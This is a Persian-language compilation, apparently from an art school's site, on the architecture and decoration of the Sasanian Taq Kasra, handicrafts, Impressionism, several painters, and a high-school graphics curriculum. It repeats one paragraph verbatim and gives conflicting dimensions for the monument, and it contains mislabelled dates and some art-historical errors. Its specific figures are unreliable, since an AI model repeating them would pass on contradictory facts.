نظارت بر امور زیبایی ساختمان

و…..

 

ایوان مدائن

معماری بنا

ایوان بزرگ و عظیم از ۷۵ پا عرض و تقریباً ۱۵۰ پا طول با یک عمق درونی است و ارتفاع طاق تقریباً به ۱۹۰ پا می‌رسد. وقتیکه به دقت بیشتر و نزدیکتر آن بنا را بررسی می‌کنیم، ناگهان در می‌یابیم که هیچ مقصود خاصی در بنای آن بعمل نیامده است که بخواهند طاق نماهای جبهه را با سوراخ بسیار بزرگ دهنه طاق و با دیوارهای جبهه منطبق سازند و متوجه می‌شویم که آن دیوار فقط یک نمایی بیش نیست و طاق نماهای کوری است که هیچ ساختمانی درعقب ندارد. جزئیات آنها هم مانند مجموع آن معیوب است. این طاق نماهای کور جنب آن دهانه بزرگ یک دفعه محو می شود و آن واحدها بخودی خود نیز کامل نمی‌باشد، بلکه بطور ناقص آنها را به عمل آورده‌اند.

در انتهای خارجی آن‌ها دیوار در محلی که طاق نماهای طبقه پایین‌تر بطور ناقص مانده است. در سه طبقه ساخته شده و مابین آنها یک محور عمودی مشترک وجود ندارد که البته فقط در معماری‌های تزیینی امری لازم می‌باشد. هرگونه تحقیق و بررسی که به عمل آمده است، معلوم می‌سازد که بنا یک جبهه به سبک یونانی منظور معمار بوده است و می‌خواسته است بنای یک تاتر رومی یا یک سپتی زونیوم را تقلید نماید.

در انتهای خارجی آن‌ها دیوار در محلی که طاق نماهای طبقه پایین‌تر بطور ناقص مانده است. در سه طبقه ساخته شده و مابین آنها یک محور عمودی مشترک وجود ندارد که البته فقط در معماری‌های تزیینی امری لازم می‌باشد. قصر فیروزآباد نیز یک هنرایرانی محض است که بنائی زیبا بوده و آن را شاپور پسر اردشیر با بنای ایوان کسری تقلید کرده است.

در طرفین بنا مانندکاخ فیروزآباد اتاق‌هایی به صورت قرینه تعبیه شده، یک درب ساده در انتهای ایوان به یک ردیف اتاق‌هایی کوچک راه داشته و می‌بایست از آنها گذشته به تالاری بزرگ (تالارتخت) به وسعت ایوان به پهنای ۶۸/۳۸متر رسید. اطراف تمام بخش مرکزی با دالان‌ها و اتاق‌های دراز دارای طاق ضربی گرفته شده است.

ابن خرداد به به جغرافیدان (در حدود سال ۸۶۴) آن را زیباترین بنای که با آجروگچ ساخته شده نامیده است. درحالی که مردم عظمت آن را چنان چشم گیر می‌دیدند که دشوار می‌توانستند ساخت آن را به دست بشر را بپذیرند و تصور می‌کردند به دست پریان ساخته شده است. این نما که طاق بزرگی رو به مشرق در مرکزآن قراردارد یک سمت صحنی پهناور را که بقیه آن ازمیان رفته تشکیل داد. در برابر این ایوان، ایوان بزرگ دیگری رو به غرب قرارداشت که تنها آثار آن در روی زمین به چشم می‌خورد.

معماران خسرو که تصویری از مقدار فشاری که توسط بنایی با چنین ابعاد غول آسا ایجاد می‌شد نداشتند، پایه‌ها را بسیارپهن گرفتند تا از قدرت تحمل چنان آواری مطمئن گردند. پهنای پایه‌ها در قسمت زیر طاق چهار و در پایین هفت متر است، ضخامت طاق حتی در تارک آن به یک متر می‌رسید. نقشه بنا گر چه غیرعادی ولی اساساً ساده بود و تأثیرآن بیشتر ناشی از عظمت بنا بود.

ایوان بزرگ از طریق چند اتاق کوچک به یک تالار بزرگ بسته متصل بود و اطراف تمام بخش مرکزی را دالان‌ها و اتاق‌های دراز دارای طاق ضربی گرفته بود. (مثل شهر آشور در دوره پارتی) در شهر آشور متعلق به دوره پارتی، فضای خالی ایجاد شده توسط ایوان را با تزیین نما و استفاده از ستون‌های توکار، اسپرها و طاقچه‌هایی که در شش طبقه ترتیب یافته و بالای آن یک ردیف کنگره سنتی قرارداشت، جبران کرده بودند.

فضای بزرگی که باید طاق‌بندی می‌شد، سازندگان به منظور کاهش اندازه دهانه تا حد امکان، به تدریج رج‌های افقی آجرهای بالای پاکار قوس را به سمت داخل متمایل می‌ساختند. بدین ترتیب، دیوارها ضمن یک انحنای جزئی به هم نزدیک و دهانه فوقانی با رج‌های عمودی پوشانده می‌شدکه به شکل قطاع بزرگی از یک دایره بود؛ بنابراین، بخش نیم بیضی یا شلجمی طاق‌ها یا قوس‌ها که در معماری ساسانی بسیار فراوان دیده می‌شود، نتیجه در نظرگرفتن استحکام و ثبات نیست بلکه ناشی از فرایند عملی ساخت بناست.

بزرگترین این نوع سازه بدون داربست طاق زنی، طاق گهواره‌ای عظیم و شلجمی کسری در تیسفون است که بر ایوانی بناشده است و دهانه آن۶۰/۲۵ متر است. (نمونه این طاق‌ها گهواره‌ای مصری و ساسانی است که دیولافوا آن را در سفرنامه خود ذکرکرده است) زیرا یک درگاه جفتی در یک مکان مسکونی ضمن کاوش‌های تیسفون پیدا شده که باید متعلق به اواسط سده ششم میلادی باشد، و دارای قوس نعل اسبی است که از گچبری‌هایی که بر روی ستون‌های چهارگوش تو کار و جفت نیم ستون‌های بدون سرستون بیرون نشسته از دیوار به وجود آمده است.

جا پیکره‌های ایوان بالا خانه درنای پشتی طاق کسری که به عنوان شاهدی بر رواج قوس تیزه دار در معماری ساسانی از آن یاد می‌شود، به واقع تیزه دار نیستند. (هرتسفلد اشتباه دیولافوا را تصحیح می‌کند؛ که نویسنده از طرحی که در سال ۱۹۲۹ کشیده شده، تهیه کرده است) زیرا که، آجرهای درون سوی طاق زاویه‌ای در نوک تشکیل می‌دهد، اینگونه بنا کاملاً تصادفی است و هیچ کارکرد ساختاری را نشان نمی‌دهد؛ بنابراین، تصور این که قوس‌های کوچک به وسیله لایه‌ای پوششی پرداخت و گردشده باشند منطقی است.

در تیسفون شکل و اندازه طاق‌نماها از هر ردیف به ردیف دیگر فرق می‌کند. هر ردیف واحد مستقلی را مانند نواری افقی و بی‌هیچ ارتباطی یا تأکیدهای عمودی نمای بنا تشکیل می‌دهد بدین ترتیب، دو ردیف ار طاق‌نماها به طاقی پایان می‌پذیرند که بر یک ستون قرار نمی‌گیرد بلکه با پایه کنج دیوار ترکیب می‌شود.

آنچه در معماری کاخ سازی ساسانیان جلب توجه می‌کند مدخل اصلی کاخ‌ها می‌باشد، که به صورت ایوان، با طاق هلالی در محور اصلی کاخ ساخته می‌شده است. نمونه بارز و با عظمت این نوع ایوان را در ایوان مدائن می‌بینیم که مهمترین قسمت کاخ را شامل است. طاق بزرگ دارای ۹۱ متر طول، ۴۶ متر عرض و ۴۸ متر ارتفاع بوده در طرفین آن ۴ تالار بزرگ هر یک به طول ۲۳ متر و عرض ۶ متر که به یکدیگر ارتباط داشته‌اند قرارداشته است در زیر این طاق تالار بار که تختگاه و مقر شاهنشاه بوده به طول ۹۲/۴۲ و عرض ۶۵/۲۵ و ارتفاع ۳۵ متر وجود داشته است. نور تالار از ۱۵۰ دریچه که هر یک دارای محیطی برابر ۱۲ تا ۱۵ متر بوده‌اند تأمین می‌گردیده است. برای تعویض هوای تالار از تنبوشه‌هایی به قطر تقریبی ۲۰ سانتی‌متر استفاده می‌کرده است. پوشش تالار گهواره‌ای شلجمی بوده است و در اطراف آن تالارهای بزرگ و راهروهای مختلف با پوشش‌های گنبدی و یا گهواره‌ای بنا کرده بودند. طاق بزرگ بروی دیواری قرارداشته است که در پایین دارای ضخامتی برابر ۷ متر بوده و آنجایی که طاق شروع می‌شده است ضخامت تالار به ۴ متر می‌رسیده و بالاخره قسمت هلالی دارای قطری برابر ۱ متر بوده است.

 

نکاتی درباره طراحی خارجی ایوان کسری

مشخص‌ترین نمای آن طاق کسری است که مشارکت عناصر یونانی –رومی در نمای عظیم آن غیر آن غیرقابل انکار است. نمای معماری شامل ستون‌های توکار، پیشانی‌ها و طاقچه‌ها تو دیواری نشان از تأثیر معماری تدمر دارد.

در هر سمت قوس شلجمی ایوان، دیوار آجری عظیم به شش طبقه تقسیم شده است، و همین قاعده در طراحی نمای قصر اشکانی در آشور نیز دیده می‌شود. علاوه بر این، نقشه کف قصر تیسفون، چنان‌که کاوش‌ها نشان داده است، با نقشه حیاط کاخ اشکانی تطبیق می‌کند، تا آن جا که نمای ایوانی دیگر، در مقابل ایوانی که هنوز پا برجاست با میدان محصوری در بین آن‌ها، وجود داشته است. در تیسفون قاب گرد گچبری به قطر تقریباً یک متر یافت شده که روزنه گرد مرکز آن را گلواره‌ای متشکل از قوس‌های نخل و پیچک در برگرفته است. بازسازی کنگره‌های طاق کسری را با پله‌بندی راست گوشه نشان می‌دهد، اما به احتمال بیشتر زاویه‌ها باید حاده بوده باشد با قضاوت برمبنای وضعیت یافته‌ها می‌توان گفت تمام ساختمان‌های واقع در محوطه‌های کاخ تیسفون دارای این نوع سنگ سرپوش کنگره بارو دار و شباک کاری شده بود.

ترئینات طاق کسری.

تکه گچ بری‌های یافت شده فقط با رنگابه نازکی از سفید استخوانی یا پوششی از اندود ظریف‌تر پوشانده است؛ که از این در کلیسای کاوش شده تیسفون به دست آمده است (رویتر) که محراب اصلی تزیین شده است.آمیانوس ماریلسنوس کاخی تابستانی را در نزدیکی تیسفون وصف می‌کند که دیوار نگاره‌هایی از صحنه‌های شکار داشته است. در طاق کسری موزاییک شیشه‌ای به کار رفته بود. خرده‌های کوچکی از این موزاییک‌ها یافت شده است، هر چند که هیچ نشانه‌ای از خود نقش‌ها به دست نیامده است. اما براساس گزارش مورخان اسلامی می‌دانیم که تصویر خسرو بر دیوار اتاق سریر شاهی، سوار بر اسبی زرد، چنان‌که در محاصره انطاکیه  دیده شده بود، نقش بسته بود.

تعداد نسبتاً زیادی از قطعات لوحه‌های مرمر پرداخت شده در محدوده کاخ یافت شده است؛ که به احتمال زیاد از سوریه بیزانسی وارد می‌شده است. چیدمان طاق کسری، که به لحاظ مقیاس بزرگ‌ترین اقامتگاه سلطنتی ساسانی به شمار می‌رفت از طرحی پیروی می‌کند که تنها با کاوش‌های باستان‌شناسی آشکار شد.

از ایوان که رو به شرق بازمی‌شود، راهی از میان یک در واقع بر محور بنا در دیوار پشتی به درون مجموعه‌ای از اتاق‌های کوچک‌تر که به هم راه دارد و از آن جا به درون یک اتاق محصور بسیار بزرگ که هم عرض ایوان است و همچنین بایستی دارای طاق گهواره‌ای بوده باشد، باز می‌شود. در هر یک از دو طرف ایوان، اتاقی بر محور اصلی قرار داشت که به وسیله یک راهرو از ایوان جدا می‌شد و به وضوح مانند ایوان کرخه و نه بزرگی آن طاق دار بود. اگر آن بخش از نقشه که ضمن کاوش‌ها آشکار شده است به صورت متقارن تکمیل شود، ساختمانی مستطیل شکل حاصل می‌شود که شامل دو مجموعه اتاق متوالی بر محور مرکزی بناست که هر یک مشتمل بر سه اتاق بزرگ دارای طاق گهواره‌ای است. اتاق‌های میانی به خاطر طول و عرض و ارتفاع بیشتر، کل نقشه را تحت الشعاع خود قرار می‌داد. مجموعه اتاق‌های میانی جلویی مانند ایوان باز بود، این اتاق با راهروهای از اتاق‌های جانبی جدا می‌شد. منطقه‌ای شامل واحدهای مسکونی کوچکتر تمام عرض بنا را در محور عرضی می‌گرفت، و هم به عنوان جدا کننده و هم به عنوان گذرگاه میان مجموعه اتاق‌های بزرگ جلویی و عقبی ایفای نقش می‌کرد. در دو انتهای این دو ردیف از اتاق‌های کوچکتر تالارهای چهارگوش واقع بود که احتمالاً گنبد دار بوده است، گرچه به صرف اینکه اتاق چهارگوش بوده است. نمی‌توانیم با قاطعیت چنین نتیجه‌گیری کنیم. در مورد نیمه دیگر، که در قسمت مقابل قرار داشت، تنها می‌توانیم با اطمینان بگوییم که آن هم ایوانی رو به حیاطی که بین دو نمای ساختمان واقع بوده است.

موارد کاربرد کاخ و بخش‌های متنوع آن فقط با تردید و حدس است مگر مدرک مستند و یا نشانه‌های از آن بدست آید. آنچه مورخان اسلامی از آن سخن گفته‌اند ملاقات‌های تشریفاتی با شکوه دربار ساسانی به احتمال زیاد در ایوان بزرگ و حیاط مقابل آن رخ می‌داده است؛ که تخت خسرو می‌بایست درهمین جا قرار داشته است و نیز طبق گفته طبری تاج که از سقف آویزان بوده است، و پرده گرانبهایی که به اظهار خطیب بغدادی سربازان سعد بن ابی وقاص به هنگام سقوط شهر سوزاندند.

مستطیل دراز محصور در دیوار واقع در جنوب ساختمان‌های طاق، احتمالاً میدان نمایشی برای جانوران شکاری یا نمایش شکار سلطنتی بوده که بعدها خانه‌های مسکونی که بر صفه‌های قرار داشت، جای این میدان نمایش در کاخ تیسفون را گرفت.

 

صنایع دستی

بدون تردید همه شما مطلعید که صنایع  دستی در کشور ما جنبه صادراتی پیدا کرده است و میل و رغبت داخلی به آن کمتر شده است. دلیل آن نیز کمابیش روشن است ؛ عدم حمایت ، عدم خلاقیت و جایگزینی کالاهای فلزی و پلاستیکی و اشیا لوکس و پر زرق و برق خارجی و همچنین تغییر دیدگاه های خانواده ها و سرازیر شدن اجناس که یک خانواده آنها را نشانه ثروت می داند از معدود دلایلی این مهم است اما به هر جهت برکت دست انسان آنقدر وسعت پیدا نموده که در پیوند فکر و دست باشد و به صنعتی به نام صنایع دستی رسیده است. و این خلاقیت امروز ، در بسیاری از آثار چوبی ، فلزی ، و کلی قابل مشاهده و درک است.

شما اگر خواهان تحصیل در این رشته باشید با ذوق و صبر و حوصله باید با صنایع دستی ایران ، مبانی هنرهای تجسمی  ، هندسه نقوش ، طراحی نقوش صنعتی ، حجم سازی ، خوش نویسی ، کار در کارگاه ، نگارگری و کارگاه صنایع دستی با گردش سفال و سرامیک ، ساخت انواع ظروف گلی به وسیله چرخ های سفالگری برقی و سپس پوشش لعاب و پخت آن در کوره های حرارتی مخصوص آشنا بشوید.

 

 

گرافیک

 

زندگی زیباست

امپرسیونیسم جنبشی در هنر نقاشی است که در دهه ی ۱۸۶۰ در فرانسه آغاز شد . هنرمندان پیشگام امپرسیونیسم پی یر آگوست رنوار ، کلود مونه ، ادگار دگا و ادوار مانه بودند. امپرسیونیسم می کوشد شیء مشخص را در لحظه ی مشخص نقاشی کند و جلوه ی نور و رنگ را در یک لحظه از زمان به چنگ آورد.

در حالیکه مانه و دگا به نقاشی موضوع های شهری ادامه می دهند ، مونه و دوستانش در آغاز دهه ی ۱۸۷۰ ، منظره نگاری را در پیش می گیرند .

سطح آب های مواج در بیشمار بازتاب نور محو می شود . خورشید هر آنچه را سخت و استوار است می گذارد ، وضوح خطوط مرزی را از بین می برد ، به سایه ها رنگ می بخشد ، چیزها را بی وزن می کند و احساس عمق فضایی را می زداید. طبیعت ماهیت عینی خود را از دست می دهد و به سیلی از تاثیرات حسی بدل می شود . برگردان نقاشانه ی این تجربه ی بصری نقطه ی آغاز امپرسیونیسم است.

واقعیت مشهود ، که قبلا در هنر مانه معنای نمادین خود را از دست داده بود ، اکنون در آثار جانشینان او وزن فیزیکی را نیز از دست می دهد و به تاثیری بر شبکیه ی چشم فرو می کاهد. کیفیت مادی اش زایل می شود و تبدیل می شود به نمود صرف : “امپرسیون ”

امپرسیونیست ها موضوع خود را نه چنان که هست بلکه آن گونه که می بینند نقاشی می کنند . اکنون فرایند دیدن – نه آنچه دیده می شود – موضوع بازنمایی است . وسیله در این فرایند نور است یا رنگ خالص و این دو در نظر امپرسیونیست ها یکی هستند.

هرگز متعجب نمی شدند اگر….

وقتی مجسمه مرمرین داوود یا نقاشی های سقف نمازخانه  سیستین ( کاری عظیم که حدود چهارسال طول کشید و میکل آنژ در تمام مراحل اجرایش دست تنها بود) را می بینیم انگشت حسرت به دهان میگیریم و با خود می گوییم که این کار نابغه است ؛ یعنی این کار از یک انسان معمولی دارای هوش متوسط بر نمی آید ؛ اما خود میکل آنژ انگار در پاسخ ماست که می گوید :” اگر مردم می دانستند برای مقام استادی چه رنج ها برده ام و چه روزها و شب ها جان کنده ام ، هرگز از از دیدن شگفتی های هنری ام متعجب نمی شدند.”

مهم این است که انسان اعتماد به نفس داشته باشد و عمیقا باور کند که زحمت و تلاش معجزه می کند. در مقابل، کسی که آرزو را به جای عمل می گذارد طبعا دچار این احساس می شود که شاید بهترین کار این باشد که دست از زحمت و تلاش بردارد یا هیچ کاری از او ساخته نیست. زندگی یک مبارزه دایمی است و پیشرفت تحصیلی هم از این امر مستثنا نیست. ارزش و اهمیت زحمت و تلاش فقط با زحمت و تلاش به عمل می آید و نمایان می شود.

سفید ها حرف می زنند

منوچهر یکتایی سال ۱۳۰۱ در تهران از نقاشان پیشگام در هنر نقاشی معاصر ایران است. زیبایی فرم در آثار یکتایی برجسته است.

یکتایی در اواخر دهه ی ۵۰ میلادی مجموعه ی آثاری با عنوان پرتره های فعال (action portrait) خلق کرد .این آثار تلاشی بود برای تلفیق تکنیک نقاشی حرکتی و نقاشی سنتی از چهره . در این تلفیق ، فیگور های زن و مرد کاملا بی حرکت و ثابت دیده می شوند ولی در خطوط ، سرشار از حرکت و حیات و انرژی هستند.

یکتایی در سال ۱۳۷۰ میلادی به نقاشی منظره روی آورد. در این آثار میزان زیاد رنگ سفید کاملا بارز و برجسته است.

یکتایی در ایران ، فرانسه و نیویورک زندگی کرده است. ساختار انتزاعی نگارگری ایرانی و رنگ های خالص و درخشان امپرسیونیسم فرانسوی و فضای هیجانی مکتب نیویورک مانند جکسون پلاک و دکونین و بارنت نیومن در تکوین سبک نقاشی اش بسیار اثرگذار بوده است.

او گاهی بر برخی آثارش اشعاری می نوشت که رویکر  عرفانی و علاقه ی او به عرفان ایرانی را نمایان می کند.

نقاش پیشتاز در مکتب سقاخانه

فرامرز پیلارام نقاش پیشتاز در مکتب سقاخانه از نخستین هنرمند ایرانی بود که به جریان نقاشی خط روی آورد . هنرمندی پرکار با درک تجسمی قوی که با خوش نویسی نستعلیق و شکسته ی نستعلیق و با تکیه بر قالب سیاه مشق آثار متنوعی در نقاشی پدید آورد. متولد سال ۱۳۱۶ شمسی در تهران ، در سال ۱۳۶۲شمسی دیده از جهان فروبست.

او در رشته های معماری داخلی و نقاشی تحصیل کرد. فرامرز پیلارام از جمله ی نخستین نقاشان در سال های دهه ی چهل شمسی است که به سنت های ایرانی باز می گردد و در جست و جوی سنتز ( ترکیب ) است ؛ نوعی هنر که در عین مدرن بودن ، ایرانی باشد و شناسنامه ی ایرانی داشته باشد و این موج تازه ای بود که به نام مکتب سقاخانه عمدتا از دانشکده ی هنرهای تزئینی برخاست.پیلارام در کارهای اولیه اش مهرهایی را که بزرگ نمایی کرد که در ایران قدیم به جای امضا به کار می بردند.هم چنین نمادهای مذهبی مانند علم و پنجه را با اشکال هندسی تلفیق کرد و زمینه ای کتیبه گونه آفرید.

سپس خط نگاری فارسی دست مایه ی اصلی آثار او شد و با کاربست خلاقانه ی خط در نقاشی به هنر خوشنویسی ایرانی ترکیب تازه ای بخشید.

خطوط در تابلوهای رنگ و روغن پیلارام حرکاتی موزون با ضرب آهنگ هارمونیک دارند که با تکرار یک حرف به وجود می آیند.

از دیگر ویژگی های تابلوهای پیلارام کاربرد خطوط سیاه و ضخیم و سفید و نازک و ترکیب آنها با خط است. 

 پل گوگن ، بیان احساس و اندیشه به مدد فرم و رنگ

پل گوگن با امپرسیونیسم آغاز کرد. در سال ۱۸۷۹ پیسارو او را با اسلوب جدید آشنا کرد.گوگن با الهام از نقاشی های پست مدرنیسم سزان بر حجم پیکرها تاکید می گذاشت و قلم ضربه های موازی به کار می برد و آنها را در میدان نیرو متراکم می کرد و مرز اشکال را با خط مشخص می ساخت.نمایشگاه جهانی باسمه های ژاپنی که در پاریس و در سال ۱۸۶۷ برگزار شد تحول بعدی در هنر پل گوگن را رقم زد که در کارهای بعدی او تاثیر زیادی برجاگذاشت. دو بعدی بودن باسمه های رنگی ژاپنی ، کاربرد رنگ های خالص و درخشان صرف نظر از برجسته نمایی ، آزادی خطوط و تاثیر ویژگی های تخت و تزیین این باسمه ها گوگن را سخت تحت تاثیر خود قرار داد.نکته تحول ساز دیگری که برنقاشی گوگن تاثیر گذاشت موزه ی تروکادور بود که در سال ۱۸۸۲ در پاریس برگزار شد.او تا اواخر دهه ی ۱۸۸۰میلادی با الهام از سفالینه های شرقی و پرویی عرضه شده در تروکادور تعدادی ظروف سفالین ساخت.این دسته از کارهای گوگن نخستین نمونه های هنر سه بعدی اروپایی بود که متاثر از هنرهای بومی غیر اروپایی ساخته شده اند.گوگن به طرزی خلاقانه  از نیروی بیانگری هنر بدوی (پریمیتیو) کمک گرفت تا اندیشه و احساسش را به مدد فرم و رنگ بیافریند و امر اصیل و پرمعنا را بیان کند.

جست و جوی اصالت  ، دغدغه ی اصلی پل گوگن بود . گوگن رنگ آمیزی امپرسیونیستی و راهکار سزان در فرم و اصالت ترکیب را با تخت بودن گرافیکی هنرهای بومی ژاپنی تلفیق کرد و بدین گونه سبک کاملا شخصی را در نقاشی اش شکل داد که در حذف پرسپکتیو حتی از سزان هم فراتر رفت.

در این سبک گوگنی، زمین راست می ایستد و به زمینه ای رنگارنگ تبدیل می شود. آدم ها و حیوانات و نباتات تقریبا بدون برجسته نمایی نقاشی می شوند. خطوط تیره ، سطح رنگی تخت و روشن را احاطه می کنند و بدین سان نقاشی ناب را درخشان تر و شفاف تر به رخ می کشند . گوگن در جست و جوی اصالت ، قدرت بیان گری رنگ ها را کشف می کند. هماهنگی متفاوتی را می آفریند که برخاسته از تجربه ی زیسته ی خود اوست.او خطاب به یکی از دوستانش می نویسد :” رنگ بنا بر احساس هایی که به ما می دهدراز گونه است….نباید نقش کشید بلکه باید احساس موسیقیایی آفرید که لز خود رنگ و از نیروی درونی اسرار آمیز و راز گونه اش ساطع می شود  “

 

کمال الدین بهزاد و واقع گرایی در نقاشی

کمال الدین بهزاد بنیان گذار و پیشگام تحولی مهم در نقاشی کلاسیک ایرانی است. واقع گرایی مهم ترین ویژگی نقاشی بهزاد است. احساس و منطق به طرزی عالی در هنر او هماهنگ شده اند. نگاه او به انسان با شیوه ی کاربست خلاقانه رنگ و خط و انتظام ساختاری آثارش یک هارمونی بدیع و ابتکاری را می سازد و توانایی شگرفش را در ترکیب نشان می دهد.

در نقاشی ” ساختن کاخ خورنق” کارگردان ، معماران و بنایان در نظمی خارق العاده سرگرم کارند.این حرکت به گونه ی دوایر درهم پیچیده ، از پایین تا بالای نقاشی ؛ مراحل گوناگون ساخت بنا را نشان می دهد.سمت چپ پایین ، گروهی مشغول ساخت گل هستند ، در حالی که کارگری کیسه سنگین خاکی را به سوی آنها حمل می کند و کارگری دیگر بر روی تل خاک ،آب می ریزد.گل ها توسط کارگران که یکی از آنها سیاه پوست است در ناوه های حمل شده و از طریق نردبان به قسمت بالای ساختمان انتقال می یابد. از سویی دیگر در قسمت راست پایین ، دو کارگر، زنبه ای مملو از آجر و خشت را به قسمت چپ حمل می کنند ، جایی که دو کارگر با تیشه و چکش مشغول پرداخت آنها هستند. این خشت ها توسط کارگر قرمز پوشیده که در مرکز نقاشی ایستاده ، به قسمت بالای ساختمان پرتاب می شود و معماری در قسمت فوقانی ، آنها را نصب می کنند. بدین ترتیب در این نقاشی بار دیگر هنرمند ، دلمشغولی ، چیره دستی و نهایت استادی خویش در نمایش صحنه های واقعی زندگی را در چهارچوب یک ترکیب بندی قوی و حساب شده ، نشان می دهد؛بی آنکه هرگز به نمایش واقع گرایانه ی طبیعت عینی آن چنان که هست ، توجهی داشته باشد.

 

خوان گریس

خوان گریس نقاش و پیکرساز اسپانیایی در سال ۱۸۸۷ به دنیا آمد و در سال ۱۹۲۷ میلادی درگذشت. او یکی از هنرمندان پیشگام هنر مدرن اسست که در پیشبرد مکتب کوبیسم نقش بسزایی ایفا کرده است.

خوان گریس در سال ۱۹۰۷ به پاریس رفت و در آنجا با پیکاسو همراه شد.پرتره ی پیکاسو نخستین تابلو نقاشی مهم گریس بود که در نوع خود ، پایه گذار کوبیسم تحلیلی در سال ۱۹۱۲ به حساب می آید.

در این سبک ، فرم ها تا سرحد ساختارهای هندسی شان تحلیل یا تجزیه می شوند و از طریق محاسبه و برحسب روابط تناسبات عددی سازمان می یابند. هم چنین رنگ نیز به حداقل خود می رسد.

از سال۱۹۱۲ به بعد خوان گریس همان اهمیت را یافت که ژورژ براک و پابلو پیکاسو داشتند اما در آثار متاخرش توجه بیش تری به رنگ داشت؛ مانند تابلو گیتار و صفحه ی نت موسیقی که در سال ۱۹۲۶ نقاشی کرده است.

 

گرافیک

توسعه رشته گرافیک زمانی شکل گرفت که عصر صنعتی شدن و تولید انبوه کالاهای صنعتی و غیر صنعتی آغاز شد و برای معرفی انبوه کالاها نیاز به تبلیغ پیدا شد تا مشتری در انتخاب خود دچار سردگمی نشود. طبیعی است که برای عموم مردم تبلیغ کردن نیازمند زبان مشترکی بود که از تلفیق خطوط ، رنگها و علامت هایی باشد که تصویر شکل گرفته بتواند خواسته تولید کننده محصول را برآورده کند.

گرافیک پیچیدگی های خاص خود را دارد و تابع سلیقه های متفاوت و نگاه های گوناگون است.رنگ ها معانی خاص خود را دارند و خطوط تعابیر خاص خودشان راو

یک گرافیک می تواند در مورد تمامی ابعاد زندگی از طریق ارائه تصویر  با مخاطبان خود صحبت کند. ناگفته نماند که ارتباطات تصویری با پیشرفت و توسعه تکنولوژی از طریق امکانات متنوعی که در دنیا ایجاد گردیده در امر پیام رسانی و انتقال مفاهیم موثر واقع شده است.

به جرات می توان گفت رشته گرافیک متنوع ترین رشته فنی و حرفه ای است.دلیل این نکته نیز تعداد مهارتهایی است که هنر جویان در این رشته می توانند یاد بگیرند. هر یک از این مهارتها می تواند زمینه ای برای یک راه در آمد و یا یک شغل بسیار جذاب و پر در آمد باشد،به شرط اینکه هنرجوی گرافیک ، پشتکار و انگیزه لازم را داشته باشد.به یاد داشته باشیم که یکی از مهم ترین شرایط برای موفقیت ، تلاش و جدیت در کار است.

تعریف رشته گرافیک :
گرافیک هنری است که توانسته بسیاری از هنرها را به خدمت گرفته و اصیل ترین وظیفه خود را که انتقال پیام است به خوبی به انجام رساند.هنرجویان این رشته در طی دوران تحصیل با مبانی هنرهای تجسمی ، طراحی ، پایه و اصول صفحه آرایی ، رنگ شناسی ، مبانی تصویر سازی ، خط در گرافیک ، خوشنویسی ، چاپ دستی ، عکاسی آشنا می شوند.

دروس که هنر جویان در طی ۲ سال هنرستان می گذرانند:

سال دوم : دروس عمومی : دین و زندگی (۲)، تربیت بدنی (۲)، عربی (۱/۲)، زبان خارجی(۲)، ریاضی(۲)، ادبیات فارسی(۲)، زبان فارسی(۲)، جغرافیای عمومی و استان، آمادگی دفاعی
دروس تخصصی :
طراحی (۱)،مبانی هنرهای تجسمی،تاریخ هنرایران،کارگاه چاپ دستی (۱)، خوشنویسی، عکاسی (۱)
سال سوم:
دروس عمومی :
دین و زندگی(۳) ، تربیت بدنی (۳) ، عربی(۲/۲) ،تاریخ معاصر ایران

دروس تخصصی :

تاریخ هنرجهان، کارگاه گرافیک ،مبانی تصویرسازی،عکاسی (۲)، علم مناظر و مرایا ،مبانی و کاربرد رایانه ، پایه و اصول صفحه آرایی، خط در گرافیک ، طراحی(۲) ، کارآموزی (۱)

زمینه های شغلی مربوط به دروس گرافیک :
چاپ دستی
چاپ روی پارچه ، شیشه ، چینی ، کاغذ ، کاشی
عکاسی
تهیه عکس برای مطبوعات ، رادیو تلویزیون ، تهیه کارت پستال ، تهیه عکسهای هنری و تبلیغاتی برای موسسات و سازمان ها
خط در گرافیک
تهیه آرم های تجاری و تبلیغاتی برای موسسات و سازمان ها
صفحه آرایی
کار در مطبوعات (روز نامه ها و مجلات)
تصویر سازی
تهیه کتب قصه برای کودکان
کارگاه گرافیک
تهیه پوستر
پرسپکتیو
طراحی فضاهای داخل منازل و ساختمان های تجاری و موسسات و بانک ها
هنری طراحی ۱و ۲
طراحی فضاهای شهری ، طراحی دکوراسیون داخلی منازل و مراکز صنعتی ، تجاری
مبانی هنرهای تجسمی
خلق فضاهای تخیلی و رنگ های مختلف در کلیه زمینه های شغلی عنوان شده
مبانی وکاربرد رایانه

استفاده از رایانه در تسریع و ایجاد خلاقیت کامپیوتری در کار

شرایط ورود به رشته گرافیک:
۱- داشتن معدل ۱۶ یا بالاتر در کارنامه سال اول
۲- داشتن علاقه و انگیزه لازم به تحصیل در این رشته
آینده تحصیلی رشته گرافیک:
۱- بلافاصله پس از فارغ التحصیل شدن از هنرستان ، در تابستان سال سوم ، هنر جویان می توانند در کنکور فنی و حرفه ای شرکت نموده و پس از قبولی در کنکور به تحصیل در آموزشکده های فنی و حرفه ای بپردازند و پس از ۲ سال ، موفق به اخذ فوق دیپلم گردند.
۲- پس از اخذ دیپلم هنرستان ، هنر جویان گرافیک می توانند بدون آزمون ورودی وارد پیش دانشگاهی هنر شده و پس از یک سال تحصیل ،در کنکور سراسری هنر شرکت نموده و در یکی از رشته های عکاسی ، صنایع دستی ، سینما ، تئاتر ، مرمت آثار باستانی ، هنرهای اسلامی ، طراحی و چاپ پارچه و لباس ، گرافیک ، نقاشی ، طراحی صنعتی و طراحی فرش به تحصیل پرداخته و پس از ۴ سال موفق به اخذ لیسانس گردند.
دانش‌آموزی که گرافیک را انتخاب می‌کند در رساندن فکر خود سرعت، گیرایی و ماندگاری را در سطحی گسترده منتشر کرده و البته با همه این جذابیت‌ها نظر دانشجویان این رشته دال بر گرانی وسائل کار گرافیکی می‌باشد. گرچه امکانات نیروی متخصص در این رشته نامحدود است. داشتن روحیه اجتماعی خوب می‌تواند دانشجو را با سلائق مختلف آشنا ساخته و در مورد استفاده از طرح‌ها و رنگ‌ها و نماد‌ها او را موفق‌تر از دیگران نماید. پذیرش دانشجو در این رشته بصورت نیمه متمرکز است و داوطلبانی که در ردیف معرفی شدگان چند برابر ظرفیت این رشته قرار می‌گیرند باید در آزمون تشریحی (طراحی) با ضریب ۴ شرکت کنند. ضریب خلاقیت تصویری و تجسمی ۴ و درک عمومی هنر ۲ است.
تعداد واحد هایی که هنرجو باید در ۲ سال دوم و سوم رشته گرافیک بگذراند:
دروس عمومی ۲۶ واحد و دروس تخصصی ۳۹ واحد.
